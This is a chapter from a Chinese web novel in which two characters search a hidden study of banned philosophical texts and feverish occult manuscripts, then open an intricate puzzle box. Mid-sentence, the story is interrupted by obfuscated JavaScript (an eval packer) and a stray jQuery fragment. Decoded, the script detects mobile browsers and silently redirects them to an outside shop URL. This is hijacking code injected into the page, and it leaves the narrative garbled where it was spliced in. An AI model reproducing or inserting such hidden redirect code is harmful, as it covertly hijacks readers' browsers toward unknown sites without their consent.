镜夕涧捧着一卷又一卷的书看了很长时间,越往后看,她的面色就越凝重。
时间悄然流逝,距离他们进来已经过了很长时间,长鹤帮不上忙,便陷入了沉思。
幽影一定知道他们的目的地是这里,不知何时会出没,但他虽担忧,却相信镜夕涧。
能让她如此认真,长鹤也清楚此事非同小可,所以宁愿坐在地上撑着脸百无聊赖地看书,也不去打扰她。
不知又过了多久,镜夕涧将最后一本书放在自己右手边那摞上,抬起了头。
“……”她沉默地看着长鹤,面色凝重异常。
长鹤被她看得心底发毛:“这……你到底发现什么了啊,你……说说呗?”
镜夕涧吐了口浊气,抬手指着面前被她分成三摞的书:“我把这些书分成了三类,第一类,是包括儒道法墨等诸子百家的思想著作。第二类,是一些杂书,包括工艺百科,气象地理,大多都是与北方有关的。而第三类……”
她似是陷入了思索,不知该如何形容。
“这不是都是些很普通的书吗?所以第三类是什么呢?”见她沉默那么长时间,长鹤忍不住发问。
“普通?”镜夕涧被他的话所吸引,抬起头用一种难以置信的眼神看着他,“你知道自己在说什么吗?”
??长鹤一脸懵,他又说什么了?
镜夕涧叹了口气,耐心解释道:“你知道想要巩固统治、让百姓按照统治阶级的意愿去劳作的最好方法是什么吗?”
“呃……”长鹤一脸尴尬,他知道镜夕涧脑子里想的东西和他不一样,虽然他也很想和她说上几句,可他一个江湖混子,这些东西他怎么会知道啊!
他硬着头皮说:“制定法律,设立牢狱?我就因为当街行骗被关进去过好几次。”
“如果想把所有行为超越了规范限度的人抓起来,需要无限的司法成本。”镜夕涧接着说了下去:“而且,就算拥有无限的人力、财力,所有人就都会听话吗?”
“所以……”长鹤尽力跟上她的思路,顺着她说了下去,“到底要怎么做呢?”
“思想。”
镜夕涧斩钉截铁地回答:“思想是行为的前提,也是行为最好的规范和牢狱,一个人永远无法做出超出他认知范围以外的事情。”
“所以历代以来的统治者性格各异,可都在做同一件事,那就是愚民。
“秦始皇焚书坑儒,销毁的便是诸子百家的思想,他需要法家思想来治理天下,因此必须让法家思想成为唯一的、正确的、不容置疑的思想,因此便不会有人与他意见相左,这和后来一直到今天的独尊儒术是一个道理。”
她的手划过那一本本书籍:“道、法、名、墨、阴阳……这些早已成了禁书,放在外面一定会被当即下狱,再追查来源,可这里的主人却将各家思想都收藏了起来,我感受得到,这个人对思想的禁锢嗤之以鼻,甚至充满痛恨。”
“思想……”长鹤喃喃着,是啊,每个人都在被外界不停地塑造着,每个人一天中一多半的动作往往都不是出自本心,你所维护的思想,又是你真正的思想吗?
人听到旁人与自己意见相左时,便会排斥、愤怒,接着远离或是痛斥那个观点,而这恰恰会导致自己故步自封,再也无法看清物体的另一面。
而一个能包容各家思想的人,便能集各家所长,成己之大成。
想到此处,他反而对这人有了一丝敬畏。
“至少……让我更了解这个人了。”镜夕涧心事重重地说。
她似乎还想说什么,可又被她忍住了,指向了第二摞书籍。
“这些都是北方相关的,包括北方的农业、土壤、气候、以及各地习俗。”
长鹤点头如啄米:“所以这又说明了什么呢?”
“唉,你还是先想想,现在北方是什么样子吧。”
“呃……”长鹤卡壳了,北边都乱了多少年了,人们饭都吃不饱,谁会有心思研究这些?
“我早就知道,北方的那个教会是和他们有关系的。”镜夕涧摸着下巴思索,“他们如此费尽心机研究北方,就是为了深入北方,渗透北方,让北方这个看似混乱的地方有朝一日为他们所用。”
“结合这些诸子百家的思想……我有理由推测,幕后之人,是一个极其渴望混乱的人。”
“如果祂渴望混乱,渴望诸子百家的思想在九州大地上绽放,就必须覆灭掉大启这个大一统的王朝。”
“所以他们才会在京中有诸多动作。”
说完这句话,镜夕涧猛地意识到了什么。
她和长鹤对上了视线,俱是看到了对方眼中的担忧。
“坏了。”
他们既然已经参与了储君争斗,又岂会善罢甘休?
别忘了,镜骁迟手里那足以将整个金陵城炸毁的炸药至今不知所踪。
“事到如今,只能相信上官大人他们了……”镜夕涧摇摇头,将心中担忧抛出去,如今她远在天边,唯一能帮上他们的,只有做好自己的事情。
她收回注意力,看向第三摞书。
“这些……”
她咽了口唾沫,第一次用不太确定的语气说道:“是一些奇闻异志、命理风水、机关阵法之类的,里面内容奇形怪状,甚至有的根本就不能叫做书,只是几页发黄的手稿,像是哪个发了疯的神棍写下来的,什么天神啊,真理啊,神神叨叨的,但主人还用心地装订了起来,认认真真地给每一页做了批注,给我的感觉……”
她想了一下措辞:“就好像,在很急切地寻找什么东西一样。”
她的话语落下,连自己都不太确定,可长鹤闻言,却像是想到了什么,面色一下凝固了。
镜夕涧察觉到了他的不对劲,连忙发问:“怎么了?你想到什么了?”
“我……”长鹤避开她的视线,这是第一次,他露出如此纠结犹豫的神情。
“到底怎么了?”镜夕涧抓着他的手臂,急切地想要一个答案,往常就算了,她绝不会逼迫他说他不想说的东
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745988|203364||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
西,可这事关天下,事关整个大启!
“我……”长鹤看了一眼她,“我们先离开吧,好吗?等离开我再和你说。”
“现在还不能离开。”镜夕涧神情严肃,她松开了长鹤,开始在书房里翻箱倒柜。
“这人如此执着,留下的东西不可能只有这些手稿,一定还有更重要的东西被藏了起来。”
她正急切地翻来覆去,手却不知无意间碰到了何处,就在一个金蟾的装饰中,一个暗格弹了出来。
里面有一个巴掌大的盒子。
她将其拿了出来。
那是一个很精巧的盒子,上面有很多分割线,一看就不是普通的盒子。
它的最上面,有个菱形的凸起。
她将手放上去,向右一拧。
那原本四四方方的盒子下面的层层小方格瞬间旋转弹开,一时间,好像一朵散开的花。
里面每一个盒子都有一张纸。
镜夕涧把它们拿了出来,一一看过去。
这正是那几张泛黄的职业上记载的一种占卜方法!
她连忙把那些纸都拿了出来,一一翻开,好似也陷入了癔症。
“不对……都不对……”
她好似有些崩溃,焦躁地翻来覆去。
长鹤察觉她的状态不对,连忙晃了晃她的肩膀:“怎么了?你发现什么了?!”
镜夕涧却无视了他,只是来回翻看着那个小盒子,嘴里喃喃着:“可以找到的……一定可以找到的……世间的真理……无有不应……”
长鹤心下一骇,快走几步到了书桌前,从一堆书籍中翻出那几页泛黄的纸。
上面用鲜血写着一片早已干涸的字:
哈哈哈哈哈……我参破了世间真理!我看到了世界的尽头!什么天地,人类,全都不值一提!我想到了那些和尚参悟一辈子也参悟不破的东西!
你不用管我是谁,只要你按我的方法去做,你心中所想,无有不应!
你不需要求天,不需要求地,不需要求人!你就是世间真理,就是宇宙尽头!这个世间可以变成任何你想要的样子!准备好了吗?哈哈哈哈哈哈……
来吧,我要教你,我教你的这个方法,你可以得到这个世界上任何一个你想要的东西!
下面就是一些复杂的排列,甚至还有算式,看起来竟还真有些头头是道。
长鹤的眉头越蹙越深,他总觉得这些东西看起来让人极其不舒服,这人说话乱七八糟,毫无逻辑,大多数都是在表达感情,可的确影响了他的心情,让他心烦意乱。
“为什么……为什么找不到?!”镜夕涧早已把整个盒子翻来覆去翻了个遍,她两只手紧紧掐着那个像花朵一样旋转而开的盒子,指尖掐得发白。
长鹤快步走了过去:“你在找什么?”
“一张纸条……那个最后得到答案的真正所在地……”镜夕涧喃喃,她抬起头茫然地看着长鹤,“只要找到那个纸条,就能知道那个人在找的东西的真实地址。”